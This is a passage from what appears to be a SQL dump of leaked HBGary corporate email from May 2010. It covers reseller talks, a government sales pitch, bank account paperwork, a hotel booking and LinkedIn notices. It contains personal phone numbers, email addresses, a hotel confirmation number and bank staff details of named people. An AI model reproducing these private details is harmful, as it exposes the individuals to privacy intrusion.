incur a merchant\r\n    service fee of 1.5% in addition to the total amount payable.\r\n    \r\n    \r\n    \r\n    Important, please note: Starting June 1, 2009, the Western\r\n    Hemisphere Travel Initiative (WHTI) goes into effect, establishing new\r\n    document requirements for travel into the U.S. from Canada, Mexico, Bermuda\r\n    and the Caribbean, by land and sea. All U.S., Canadian and Bermudian\r\n    citizens are subject to these new requirements, effective June 1, 2009. For\r\n    more information about the WHTI and the required travel documents, go to www.GetYouHome.gov or Canadian citizens can go\r\n    to www.KnowYourBorder.gov. \r\n    \r\n   \r\n   \r\n    \r\n    Comments: \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    - For Reservations Questions in the United States &amp; Canada:\r\n    \r\n    1 800 IC HOTELS (800 424 6835)\r\n    \r\n    - For outside the United States &amp; Canada, click here\r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10411,'aaron_hbgary_com/10411.html'),(6222,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004448.M79649P14101Q1075.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','RE: HB Gary WebEx - thank you & next steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAwesome, don&#8217;t&#8217; see why we wouldn&#8217;t.&nbsp; The terms of the deal is\r\nusually they get a discount off list for reselling.&nbsp; If they want to use our\r\nstuff on engagements there is a per use fee for DDNA and they have to buy Responder\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings\r\n[mailto:rich@hbgary.com] \r\nSent: Tuesday, May 11, 2010 11:49 AM\r\nTo: Penny Hoglund\r\nSubject: FW: HB Gary WebEx - thank you &amp; next steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nSecDev wants to be a reseller.&nbsp; SecDev is the group that\r\ndid the analysis of the malware that broke into the Dalai Lama\'s computers...\r\nand the Ghostnet stuff.&nbsp; I did a demo for them last week and they were\r\nblown away.&nbsp; They are in DC this week and want to meet up to share some of\r\nthe Dalai Lama malware with me... ;)&nbsp; \r\n\r\n&nbsp;\r\n\r\nYou might want to chat with Aaron about this.&nbsp; I think we\r\nshould do it they seem like nice guys, i dont know how good they are at selling\r\nsoftware but I think they know a lot of people that we don\'t internationally.\r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, May 07, 2010 5:55 PM\r\nTo: Arnav Manchanda\r\nCc: Rafal Rohozinski; Rich Cummings; Nart Villeneuve\r\nSubject: Re: HB Gary WebEx - thank you &amp; next steps\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat. &nbsp;I am available on the 12th. &nbsp;I believe I\r\nhave a 12pm appt. in Crystal City, should last no more than 90min. &nbsp;On the\r\nproduct side Rich will be the right person to get you the reseller agreement,\r\nslide decks, and product keys.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI would definitely like to talk further about your\r\ndevelopments with Palantir.cyber and how we might be able to leverage that in\r\nservice engagements in the states as well as assisting/cooperating on\r\ninvestigations where we could provide malware analysis support.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\n\r\n\r\n\r\n\r\n\r\n719.510.8478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn May 7, 2010, at 3:52 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDear Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMany thanks to you and Rich Cummings for putting together a\r\nvery thorough WebEx of your product and for being so candid with us, it was\r\nreally great.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe definitely see a lot of synergy between what we do and\r\nwhat you guys do. Rafal and Nart are going to be in Washington next week, so\r\nwe\'ll try and get you all together for a meeting on the next steps. We\'re\r\nlooking at the 12th of May, but not sure yet - would you be available that day?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn terms of quick next steps:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- On the product side, SecDev would definitely like to be\r\nthe Canadian reseller for HBGary, with international reseller rights too -\r\nwe\'re active in the UK, European and francophone cyber markets (as well as\r\nother international markets). Do you have a reseller agreement we can take a\r\nlook at?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- Would you be able to provide some informative slide decks\r\non the various products HBGary offers, for our reference?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- There is definitely a lot of possible synergy between your\r\nmalware analysis tools, network traffic analysis and integration into a tool\r\nwe\'re developing Palantir.cyber and into the Cloakroom suite of the two for\r\nanalysis.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n- How many product keys would be you willing to provide for\r\nour use in-house? We really appreciate this offer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld\r\nExchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45\r\nO\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa,\r\nOntario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you are\r\nnot the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider the\r\nenvironment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16262,'aaron_hbgary_com/16262.html'),(6223,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004448.M825874P14101Q1078.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rick Wesson\" <rick@support-intelligence.com>','','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5008,'aaron_hbgary_com/5008.html'),(6224,'2010-05-11','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004449.M242594P14101Q1080.eml','\"Aaron Barr\" <aaron@hbgary.com>','Matt Furman has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Matt are now connected.\r\n\r\n \r\n   \r\n   View Matt\'s profile to:\r\n     \r\n       Download Matt\'s current contact information\r\n       Write a recommendation for Matt\r\n       Find opportunities through Matt\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/28943569/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',8968,'aaron_hbgary_com/8968.html'),(6225,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004449.M41269P14101Q1079.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rick Wesson\" <rick@support-intelligence.com>','Support INtelligence','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYou need to meet with Rick when he&#8217;s back out in DC.&nbsp;\r\nHe can do stuff you want\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3667,'aaron_hbgary_com/3667.html'),(6226,'2010-05-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297004449.M445385P14101Q1081.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: Webex with DHHS','Maria,\r\n \r\nI need all of Wednesday to work on the QinetiQ report.  Sorry.\r\n \r\n-Greg\r\nOn Tue, May 11, 2010 at 1:42 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nGreg\r\n \r\nIt would be great on Wed if you can do a Webex for Dept Health and Human Services.  Long-term this will be a great account for us and we need to align with them on the BIG PICTURE which includes our vision and approach.\r\n\r\n \r\nContacts\r\nMichael Cox is Project Manager (responsible for product selection)\r\nWally Wilhoit reports to Michael Cox and responsible for forensics and IR\r\nBryon Hundley works for Wally and used Responder Pro at GE\r\n \r\nBackground &amp; Opportunity\r\n \r\nRumour is that DHHS has $44million in stimulous money to build a SOC.  They support approximately 9+ agencies including FDA.  They don&#39;t have access to their &quot;client&quot; networks.  Their vision is to provides services to the individual agencies and view the agencies as their client.  They are in the procurement process to acquire Responder Pro at the SOC.  \r\n\r\n \r\nDHHS SOC is in infancy stage\r\n \r\nThis is similar to the situation at USDA expect we have better relationships.  Michael Cox is the PM for the project and is eager to work with us and hear what we can offer.\r\n \r\nIt is up to us to lay out a vision based on HBGary products.  If DHHS buys into a joint vision then they can help us to get DDNA into the agency networks.\r\n \r\nAn idea that discussed with Michael Cox is to purchase HBGary&#39;s Threat Management Center where their clients can upload malware and analyze malware trends within their network and across the other agencies.  This would require services to develop a web front end, trend reporting etc.  \r\n\r\n \r\nShort term opportunities are:\r\n1. Responder Pro for SOC\r\n2. Active Defense for SOC network (not discussed yet)\r\n3. Threat Management Center\r\n4. Assist DHHS SOC with a strategic vision to offer Managed Services to their customers based on Active Defense deployment:\r\n-- reading scans\r\n-- populating TMC and providing trend analysis\r\n-- malware analysis services\r\n-- threat intelligence services\r\n-- &quot;inoculation shots&quot;\r\n \r\nMaria&#39;s goal\r\n \r\n1. To sell a Active Defense paid for pilot to the SOC\r\n2. To sell Threat Management Center with Services\r\n3. Explore the possibility of a joint pilot between the SOC and FDA\r\n  -----FDA is under attack.  FDA has Responder Pro and is purchasing more and longer terms wants a demo of DDNA for EE.\r\n4. Put together a Blanket Purchase Agreement for all DHHS so that individual agencies have a purchasing vehicle\r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',8627,'aaron_hbgary_com/8627.html'),(6227,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004453.M904167P14101Q1082.eml','\"Barr Aaron\" <aaron@hbgary.com>','Deposit','The deposit now shows as pending - only for the invoiced amount. I\r\nturned in the form so she can transfer from her other accts. I\'ll ping\r\nPenny again later this week.\r\n\r\nTv\r\n',6259,'aaron_hbgary_com/6259.html'),(6228,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004454.M120400P14101Q1083.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Form','FYI Begin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: May 11, 2010 4:06:23 PM PDTTo: helen.verescak@wellsfargo.comCc: Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\nSubject: FormHi Helen,Just wanted to confirm you received the form. Is there anything else\r\nthat you need from us? Will Penny receive instructions, or should theaccount just appear the next time she logs in?Thanks again,Ted\r\n\r\n',7548,'aaron_hbgary_com/7548.html'),(6229,'2010-05-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004457.M948447P14101Q1084.eml','rich@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Tue)','Do you want these?  I get them\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Tuesday, May 11, 2010 4:04 PM\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\n \r\n\r\n-\r\nSubject: NMCIWG: Daily Computer Threat News (Tue)\r\n\r\nToday\'s articles:\r\n\r\n*       U.S. federal data security vulnerabilities\r\n\r\n*       Highly critical vulnerability in Safari for Windows\r\n\r\n*       Hackers target WordPress in large-scale attack\r\n\r\n*       Dodgy Facebook pages used to power \'spam a friend\' joke scam\r\n\r\n*       Worms attack Skype, Yahoo Messenger\r\n\r\n*       Main PHP-Nuke site compromised\r\n\r\n*       New attack bypasses virtually all AV protection\r\n\r\n*       Botnets exploit Linux owners\' ignorance\r\n\r\n*       Heartland breach expenses pegged at $140M -- so far\r\n\r\n*       New attack tactic sidesteps Windows security software\r\n\r\n*       White House devs overlooked gaping Drupal vuln\r\n\r\n*       Trojan Pretends To Be Window 7 \'Compatibility Checker\' \r\n\r\n*       New version of Yahoo IM worm hits Skype too\r\n\r\n*       Police apprehend Romanian phishing gang\r\n\r\n',5550,'aaron_hbgary_com/5550.html'),(6230,'2010-05-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004458.M274919P14101Q1085.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Form','Begin forwarded message:From: &lt;Helen.Verescak@wellsfargo.com&gt;\r\nDate: May 11, 2010 4:19:23 PM PDTTo: &lt;ted@hbgary.com&gt;Cc: &lt;penny@hbgary.com&gt;Subject: RE: Form\r\nHi Ted,Penny is added to the account.  She should be able to add the account to the on line banking.  If she needs help please let me know \r\nThanks HelenHelen VerescakWells Fargo Bank California Business BankingBusiness Associate\r\nMAC AO716-07H400 Capitol Mall, Suite 702Sacramento,  CA  95814916-440-4955 phone866-671-6467 faxhelen.verescak@wellsfargo.com\r\n**Please note, my business hours are Monday-Friday, 8:00am-4:00pm. As I am unavailable you may contact our 24hr National Business Banking Center at 800-225-5935. &quot;This message may contain confidential and/or privileged information.  If you are not the addressee or authorized to receive this for the addressee, you must not use, copy, disclose, or take any action based on this message or any information herein.  If you have received this message in error, please advise the sender immediately by reply e-mail and delete this message.  Thank you for your cooperation.&quot; \r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Tuesday, May 11, 2010 4:06 PMTo: Verescak, HelenCc: Penny Leavy-HoglundSubject: FormHi Helen,Just wanted to confirm you received the form. Is there anything else\r\nthat you need from us? Will Penny receive instructions, or should theaccount just appear the next time she logs in?Thanks again,Ted\r\n\r\n',2307,'aaron_hbgary_com/2307.html'),(6231,'2010-05-11','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004458.M500123P14101Q1086.eml','\"Aaron Barr\" <aaron@hbgary.com>','Larry Strang has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Larry are now connected.\r\n\r\n \r\n   \r\n   View Larry\'s profile to:\r\n     \r\n       Download Larry\'s current contact information\r\n       Write a recommendation for Larry\r\n       Find opportunities through Larry\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/15266429/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',9426,'aaron_hbgary_com/9426.html'),(6232,'2010-05-12','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297004458.M850565P14101Q1087.eml','\"Aaron Barr\" <aaron@hbgary.com>','Robert Giesler has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Robert are now connected.\r\n\r\n \r\n   \r\n   View Robert\'s profile to:\r\n     \r\n       Download Robert\'s current contact information\r\n       Write a recommendation for Robert\r\n       Find opportunities through Robert\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/19192740/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',1033,'aaron_hbgary_com/1033.html'),(6233,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004459.M331434P14101Q1089.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','Re: Support INtelligence','Great. &nbsp;Look Forward to it.Rick give me a call when you get back into town.Aaron BarrCEOHBGary Federal719.510.8478On May 11, 2010, at 6:28 PM, Penny Leavy-Hoglund wrote:Aaron,&nbsp;You need to meet with Rick when he’s back out in DC.&nbsp; He can do stuff you want&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;',3383,'aaron_hbgary_com/3383.html'),(6234,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004459.M606992P14101Q1090.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Your InterContinental (R) Reservation Confirmation  - MIAMI, FL, UNITED STATES: 60387686','whole thing. &nbsp;Thank You.AaronOn May 11, 2010, at 5:41 PM, DeeAnn Buonaccorsi wrote:Hi Aaron,&nbsp;Here is your hotel for the First Conference.&nbsp; Did you want to attend for the whole conference?&nbsp; If not let me know and I will cancel the days you do not attend.&nbsp; Please make arrangements for your flight&nbsp;Thanks&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;From:&nbsp;InterContinental Reservations [mailto:Reservations@InterContinental.com]&nbsp;Sent:&nbsp;Tuesday, May 11, 2010 2:07 PMTo:&nbsp;deeann@hbgary.comSubject:&nbsp;Your InterContinental (R) Reservation Confirmation - MIAMI, FL, UNITED STATES: 60387686&nbsp;Modify/Cancel Reservation&nbsp;View All Reservations&nbsp;Make Another Reservation&nbsp;View AccountThank you for staying at the InterContinental MIAMI.AmenitiesNear Beach&nbsp;Outdoor Pool&nbsp;Sauna&nbsp;Dedicated Lounge&nbsp;Iron / Ironing BoardAttractionsSouth Beach&nbsp;Port of Miami&nbsp;American Airlines Arena&nbsp;Parrot Jungle&nbsp;SeaquariumThank you for choosing InterContinental. Here is your reservation information.Reservation QuestionsReservation InformationYour confirmation number is 60387686Please use your confirmation number to reference your reservation.Guest Name:AARON BARRAdditional Guests:No additional guests.Check-In: Sat 12 Jun 2010 at 04:00 PM&nbsp;Check-Out: Fri 18 Jun 2010 at 12:00 PMView/Modify/Cancel ReservationHotel InfoMIAMIInterContinental100 CHOPIN PLAZA&nbsp;MIAMI , FL 33131&nbsp;1-305-5771000Helpful LinksLocal Maps&nbsp;Find AttractionsMake Another ReservationDriving Directions:&nbsp;FROM MIAMI INTL APRT: TAKE 836 EAST TO I-95 SOUTH TO BISCAYNE BLVD, EXIT 2A, DOWN THE RAMP TP BISCAYNE BLVD, THE RIGHT ON CHOPIN PLAZA. FORM NORTH (PALM BEACH, FT. LAUDERDALE): FOLOLW DIRECTIONS ABOVE FROM I-95 SOUTH.Room/Rate InformationRate Type:FiRST Conference-PHGroup Details:ANYONE CAN BOOK RESERVATIONS ANYONE CAN BOOK RESERVATIONSRoom Type:STANDARD ROOM - 2 PERSON(S) MAX PER ROOM&nbsp;BED TYPE SMOKING PREFERENCE AND VIEW CAN NOT BE GUARANTEED AND WILL BE ALLOCATED UPON ARRIVAL OF GUEST WIRELESS HIGH SPEED INTERNET AVAILABLE AT A CHARGE MARBLE BATHROOM FLAT SCREEN TV MINIBAR HAIR DRYER IRON AND BOARD SAFE DEPOSIT BOXSmoking Preference:No PreferenceNumber of Nights:6Number of Rooms:1Person(s):1 Adult(s), 0 Child(ren)Sat 12 Jun 2010 - Fri 18 Jun 2010$189.00 (USD)&nbsp;per night (1 room(s))Total Tax&nbsp;† &nbsp;$147.42 (USD)Estimated Total Price&nbsp;† &nbsp;$1,281.42 (USD)Rules &amp; Restrictions- Check-in Time: 04:00 PM- Check-out Time: 12:00 PM- Canceling your reservation after 6:00 PM (local hotel time) on 9 June, 2010, or failing to show, will result in a charge of 1 night per room to your credit card. Taxes may apply. Failing to call or show before check-out time after the first night of a reservation will result in cancellation of the remainder of your reservation.&nbsp;- Only the reservation as entered into and confirmed by our system will be honored. Any written or printed confirmation that has been altered may be rejected by the hotel.† As exchange rates may fluctuate from the time a reservation is made until the actual stay, the confirmed rate is guaranteed in the hotel\'s base currency.† As taxes and service charges may fluctuate from the time a reservation is made until the actual stay and during the actual stay, the Total Price is an estimate. Other hotel-specific service charges may also apply. Check with hotel for details. Additional taxes may apply for hotels booked in Tokyo, Japan that exceeds 10,000JPY/person per stay.&nbsp;† Credit card payments relating to Australian hotels incur a merchant service fee of 1.5% in addition to the total amount payable.Important, please note:&nbsp;Starting June 1, 2009, the Western Hemisphere Travel Initiative (WHTI) goes into effect, establishing new document requirements for travel into the U.S. from Canada, Mexico, Bermuda and the Caribbean, by land and sea. All U.S., Canadian and Bermudian citizens are subject to these new requirements, effective June 1, 2009. For more information about the WHTI and the required travel documents, go to&nbsp;www.GetYouHome.gov&nbsp;or Canadian citizens can go towww.KnowYourBorder.gov.Comments:- For Reservations Questions in the United States &amp; Canada:1 800 IC HOTELS (800 424 6835)- For outside the United States &amp; Canada,&nbsp;click here&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7121,'aaron_hbgary_com/7121.html'),(6235,'2010-05-12','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297004459.M70569P14101Q1088.eml','jim.butterworth@encase.com,\"Barr Aaron\" <aaron@hbgary.com>','Meet?','Hi Jim,\r\n\r\nI\'m out in Sacramento attending some HBGary training and just thought  \r\nof you.  Have you had a chance to meet up with Aaron? Maybe we should  \r\nschedule a call to talk upcoming opportunities. Hope all is well.\r\n\r\nTed\r\n\r\n\r\n',3389,'aaron_hbgary_com/3389.html'),(6236,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004459.M836606P14101Q1091.eml','\"Irby Thompson\" <irby@pikewerks.com>','Re: TA-3','I agree.  I think there are some good things that can come from us working together.  Its unfortunate we didn\'t win.  Very much looking forward to hearing what were our deficiencies.\r\n\r\nGive me a call when you get back into town.\r\n\r\nAaron\r\n\r\nOn May 11, 2010, at 3:41 PM, Irby Thompson wrote:\r\n\r\n> Aaron,\r\n> \r\n> Sorry to hear that we did not win on TA-3. I still have high hopes for TA-1.\r\n> \r\n> Definitely want to continue our conversation from last week. I think an HBGary-Pikewerks partnership makes a lot of sense on several fronts (commercial forensics marketspace, DoD/Intel network warfare marketspace, cybersecurity R&D marketspace). I am out of town this week and next, but would like to catch up with you and Bob around the end of the month (hopefully we will also be celebrating TA-1 :-)\r\n> \r\n> 	Regards,\r\n> 	Irby\r\n> \r\n> \r\n> On May 11, 2010, at 1:32 PM, Aaron Barr wrote:\r\n> \r\n>> All,\r\n>> \r\n>> Regretfully our proposal was not selected for funding.  I thank you\r\n>> for all your hard work, it was actually a pleasure to work with all of\r\n>> you.  I will be contacting DARPA for a debrief and will let you know\r\n>> what I hear.\r\n>> \r\n>> Thank you,\r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9844,'aaron_hbgary_com/9844.html'),(6237,'2010-05-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004460.M266443P14101Q1093.eml','\"Paul Rooney\" <prooney3@csc.com>','Re: CTSC','Thanks Paul. &nbsp;I question SAICs efficacy in the eyes of NSA after winning NANA. &nbsp;I would be very interested to get your thoughts on this. &nbsp;Can I call you in the morning? &nbsp;I had a good conversation with Scott, nice guy. &nbsp;I think they would partner with you but not with you as a prime. &nbsp;Although you might be able to make a convincing argument that CSC as a prime with SAIC as a strong sub is the best perceptive solution because of the NANA win. &nbsp;You 